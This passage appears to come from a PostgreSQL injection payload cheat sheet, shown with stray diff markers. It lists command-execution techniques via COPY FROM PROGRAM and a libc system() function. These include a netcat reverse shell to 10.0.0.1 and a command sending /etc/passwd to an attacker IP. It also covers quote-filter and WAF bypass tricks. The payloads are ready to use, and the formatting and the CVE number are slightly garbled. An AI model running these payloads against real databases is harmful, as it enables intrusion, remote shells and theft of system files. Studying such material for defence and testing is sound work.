SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
```
## PostgreSQL Command Execution
### CVE-20199193
### Using COPY TO/FROM PROGRAM
Can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with '`pg_execute_server_program`' to pipe to and from an external program using `COPY`.
```SQL
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec; -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
```sql
COPY (SELECT '') to PROGRAM 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
```
```sql
CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f';
```
![https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png](https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png)
### Using libc.so.6
@ -262,22 +263,15 @@ CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
```
### Bypass Filter
#### Quotes
### PostgreSQL WAF Bypass
Using CHR
#### Alternative to Quotes
```sql
SELECT CHR(65)||CHR(66)||CHR(67);
```
Using Dollar-signs ( >= version 8 PostgreSQL)
```sql
SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$
```
| Payload | Technique |
| ------------------ | --------- |
| `SELECT CHR(65)\|\|CHR(66)\|\|CHR(67);` | String from `CHR()` |
| `SELECT $TAG$This` | Dollar-sign ( >= version 8 PostgreSQL) |
## References